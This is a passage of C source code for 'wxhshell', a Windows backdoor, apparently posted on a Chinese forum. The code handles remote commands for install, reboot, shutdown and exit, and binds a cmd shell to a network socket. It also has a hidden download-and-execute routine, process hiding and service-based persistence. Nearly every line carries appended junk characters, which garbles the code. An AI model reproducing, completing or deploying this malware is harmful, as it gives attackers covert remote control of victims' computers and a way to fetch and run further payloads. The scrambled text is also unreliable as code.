    switch(cmd[0]) { w*-42r3,'  
  `}EnY@*h  
  // 帮助 J#I RbO)  
  case '?': { ^ Oh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F_Y]>,U  
    break; .xN<<+|_v'  
  } $ln8Cpbca  
  // 安装 =rA?,74  
  case 'i': {  k,:W]KD  
    if(Install()) N&HI)X2&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jE*{^+n  
    else aKDY_ D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iFd !ED  
    break; k =5k)}i  
    } F\m^slsu7=  
  // 卸载 GbSCk}>  
  case 'r': { l7|z]v-  
    if(Uninstall()) .9bi%=hP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WXy8<?s  
    else w:5?ofC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V$?6%\M^*  
    break; qYK^S4L  
    } /j~~S'sw  
  // 显示 wxhshell 所在路径 csy6_q(  
  case 'p': { danPy2  
    char svExeFile[MAX_PATH]; \Y4(+t=4  
    strcpy(svExeFile,"\n\r"); ui%#f1Iq  
      strcat(svExeFile,ExeFile); }J#HIE\RG  
        send(wsh,svExeFile,strlen(svExeFile),0); =\<NTu  
    break; " `qk}n-  
    } y\T$) XGV  
  // 重启 U#z"t&o=L  
  case 'b': { EpS/"adI-!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 287j,'vR  
    if(Boot(REBOOT)) GHsDZ(d3.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  NNt n  
    else { W Z'<iI  
    closesocket(wsh); T8S&9BM7  
    ExitThread(0); Gdow[x  
    } |/Vq{gxp+  
    break; k=s^-Eiu  
    } *j3 U+HV  
  // 关机 jj{:=l ZB  
  case 'd': { &]TniQH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^T&{ORWz  
    if(Boot(SHUTDOWN)) 2+&;jgBP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %r^tZ;; l  
    else { Zz0er|9]Q  
    closesocket(wsh); 2XR!2_)O5  
    ExitThread(0); ^(q .f=I!a  
    } Fl)nmwO c  
    break; TzKM~a#  
    } $n<1D -0!r  
  // 获取shell lV'?X%  
  case 's': { #N][-i  
    CmdShell(wsh); "09v6Tx  
    closesocket(wsh); "]eB2k_>  
    ExitThread(0); ja9u?UbW  
    break; ew\:&"@2]w  
  } n.l#(`($4  
  // 退出 2bCfY\k  
  case 'x': { o33t~@RX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LH54J;7 Y  
    CloseIt(wsh); AWcbbj6Nd  
    break; Xm,fyk>  
    } Tgpu9V6  
  // 离开 CzlG#?kU?2  
  case 'q': { \`y:#N<c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +(!/(2>~  
    closesocket(wsh); (VO'Kd  
    WSACleanup(); V?OTP&+J%  
    exit(1); nReIi;pi  
    break; -3ePCAtXbe  
        } k{r<S|PK0  
  } @G;9eh0$  
  } q]1p Q)\'p  
reR@@O  
  // 提示信息 qb;b.P?~D$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f%PLR9Nh5@  
} 29=ob("  
  } P<>NV4  
o_}?aI~H  
  return; U`[viH>K  
} v{$?Ow T/u  
6Gg`ExcT5  
// shell模块句柄 Lv@WI6DM  
int CmdShell(SOCKET sock) i=/hLE8T*  
{ RR=WD-l  
STARTUPINFO si;  j=pg5T  
ZeroMemory(&si,sizeof(si)); b~UWFX#U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4Q#{,y944  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .RmFYV0,  
PROCESS_INFORMATION ProcessInfo; P84YriLo  
char cmdline[]="cmd"; ts<\n-f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gaC4u,Zb  
  return 0; 48z%dBmTT*  
} 4"|3pMr  
uhj]le!  
// 自身启动模式 ?#a&eW  
int StartFromService(void) \s[L=^!  
{ Syseiw  
typedef struct l1kHFeq  
{ /t`|3Mw  
  DWORD ExitStatus; &_]G0~e  
  DWORD PebBaseAddress; w;Azxcw  
  DWORD AffinityMask; ` Ft-1eE  
  DWORD BasePriority; (gY W iz  
  ULONG UniqueProcessId; WL(Y1>|j  
  ULONG InheritedFromUniqueProcessId; .h4NG4FIF  
}   PROCESS_BASIC_INFORMATION; /$clk=  
iOIq2&sV  
PROCNTQSIP NtQueryInformationProcess; MB:[: nX  
s[a\m,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q_p&~PNy5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vo^J2[U  
E,\)tZ;,  
  HANDLE             hProcess; OmkJP  
  PROCESS_BASIC_INFORMATION pbi; p2(ha3PW  
#/Ob_~-?j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Tv~ *|a  
  if(NULL == hInst ) return 0; QuMv1)n  
oj.J;[-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iVnMn1h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8.jf6   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BPkL3Ev1V  
zOA~<fhT  
  if (!NtQueryInformationProcess) return 0; &HLG<ISw  
o "0 ~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (X^,.qy  
  if(!hProcess) return 0; zqrqbqK5R  
wO.d;SK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lvODhoT  
|5`ecjb.  
  CloseHandle(hProcess); \ :s%;s51  
IO&U=-pn&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !0? B=yA  
if(hProcess==NULL) return 0; #b&tNZ4!_  
DazoY&AWE  
HMODULE hMod; iku*\,6W  
char procName[255]; bBc<p{  
unsigned long cbNeeded; '_7rooU9  
@1xVWSF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _#v"sGmN  
M]k Q{(  
  CloseHandle(hProcess); ( ./MFf  
6ERMn"[_w  
if(strstr(procName,"services")) return 1; // 以服务启动 V:j^!*  
t}I@Rmso  
  return 0; // 注册表启动 l=" X|t   
} `peR,E  
,<K+.7,)E  
// 主模块 @,= pG  
int StartWxhshell(LPSTR lpCmdLine) b==jlYa=  
{ W+u,[_  
  SOCKET wsl; e0TxJ*  
BOOL val=TRUE; 8<0P Ssx  
  int port=0; U!Zj%H1XQ0  
  struct sockaddr_in door; %U}6(~  
h*y+qk-!\g  
  if(wscfg.ws_autoins) Install(); 4yqYs>  
&R.5t/x_  
port=atoi(lpCmdLine); kmTYRl )j  
XRkUv>Yk  
if(port<=0) port=wscfg.ws_port; &0[ L2x}7  
'ParMT  
  WSADATA data; /d6Rd l`w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1k:yU(  
#m UQ@X@K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [/*;}NUv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R!/JZ@au<  
  door.sin_family = AF_INET; f^QC4hf0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xc @$z* w  
  door.sin_port = htons(port); '3^qW  
kq(><T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bi;a~qE  
closesocket(wsl); cs\=8_5  
return 1; ZRc^}5}WA  
} (i(E~^O  
D9P,[:"  
  if(listen(wsl,2) == INVALID_SOCKET) { IFr"IOr'l  
closesocket(wsl); z8S]FpM6  
return 1; }m?Ut|  
} ;c]O*\/  
  Wxhshell(wsl); `Nvhp]E  
  WSACleanup(); $ e L-fg  
 (t5y$b c  
return 0; mYJ8O$  
g%]<sRl:-  
} 2P`./1L  
+?3RC$jyw  
// 以NT服务方式启动 Z)~?foe'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "WGKwi=W  
{ .WN&]yr,  
DWORD   status = 0; s/J7z$NEU  
  DWORD   specificError = 0xfffffff; WhH60/`  
7z,  $  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iKu3'jZ/O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MTl @#M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nXfz@q  
  serviceStatus.dwWin32ExitCode     = 0; Z|UVH  
  serviceStatus.dwServiceSpecificExitCode = 0; !~F oy F  
  serviceStatus.dwCheckPoint       = 0; {U3jJ#K  
  serviceStatus.dwWaitHint       = 0; O\;Lb[`lb  
j?$B@Zk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {P?DkUO}  
  if (hServiceStatusHandle==0) return; xA:;wV  
&u[F)|  
status = GetLastError(); ,*lns.|n  
  if (status!=NO_ERROR) 5lzbg   
{ W2$rC5|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B&59c*K  
    serviceStatus.dwCheckPoint       = 0; hB\BFVUSn/  
    serviceStatus.dwWaitHint       = 0; x2I|iA=  
    serviceStatus.dwWin32ExitCode     = status; B$JPE7h@[P  
    serviceStatus.dwServiceSpecificExitCode = specificError;  FO!0TyQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `'r]Oe  
    return; SV ~QH&0'  
  } g9g ] X  
UBQtD|m\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (kK8 OxfF  
  serviceStatus.dwCheckPoint       = 0; p*cyW l  
  serviceStatus.dwWaitHint       = 0; UDJ#P9uy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P*?2+.  
} 5)k/ 4l '  
d9e~><bPJ  
// 处理NT服务事件,比如:启动、停止 ^"/TWl>jB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $[cB6  
{ F [-D +Nka  
switch(fdwControl) S$wC{7?f  
{ Eqny'44  
case SERVICE_CONTROL_STOP: w\Q(wH'  
  serviceStatus.dwWin32ExitCode = 0; &];W#9"Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8?EKF+.u|  
  serviceStatus.dwCheckPoint   = 0; &V &beq4)p  
  serviceStatus.dwWaitHint     = 0; ,T  3M  
  { J$jLGy&'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G6Wa0Z  
  } 1dp8'f5^  
  return; l!j=em@  
case SERVICE_CONTROL_PAUSE: \:n<&<aVSr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <Z~Nz>'r  
  break; ^eRbp?H*T  
case SERVICE_CONTROL_CONTINUE: ,FRa6;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ) AGE"M3X  
  break; 1Nv qtVC  
case SERVICE_CONTROL_INTERROGATE: ZL!5dT&@W  
  break; y?}<SnjP:  
}; ` -f\6r|:)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0H'G./8  
} 11fV|b%  
@v /Ae_q!  
// 标准应用程序主函数 (h@~0S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pnv)D}"  
{ NZ^hp\q  
Y{4nBu  
// 获取操作系统版本 1F2(MKOo!  
OsIsNt=GetOsVer(); 8k Sb92  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v] q"{c/  
a(`"qS  
  // 从命令行安装 kk CoOTe&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7.yCs[Z  
te>Op 1R  
  // 下载执行文件 UD2 l!)rW  
if(wscfg.ws_downexe) { 01%0u8U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R&/"?&pfa  
  WinExec(wscfg.ws_filenam,SW_HIDE); S*ie$}ZX  
} 1:I _ ;O_  
V-dub{K  
if(!OsIsNt) { xCu\jc)2  
// 如果时win9x,隐藏进程并且设置为注册表启动 3XUie;*`  
HideProc(); /5f=a  
StartWxhshell(lpCmdLine); .z,`{-7U  
} yW}x  
else a7z% )i;Z  
  if(StartFromService()) #J$z0%P  
  // 以服务方式启动 2d OUY $4  
  StartServiceCtrlDispatcher(DispatchTable); $|19]3T@Z  
else  zK:2.4  
  // 普通方式启动 \Dx)P[Ur  
  StartWxhshell(lpCmdLine); :-+j,G9 t  
pf&SIG  
return 0; (%]M a  
}
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只看该作者 1 发表于: 2006-10-10
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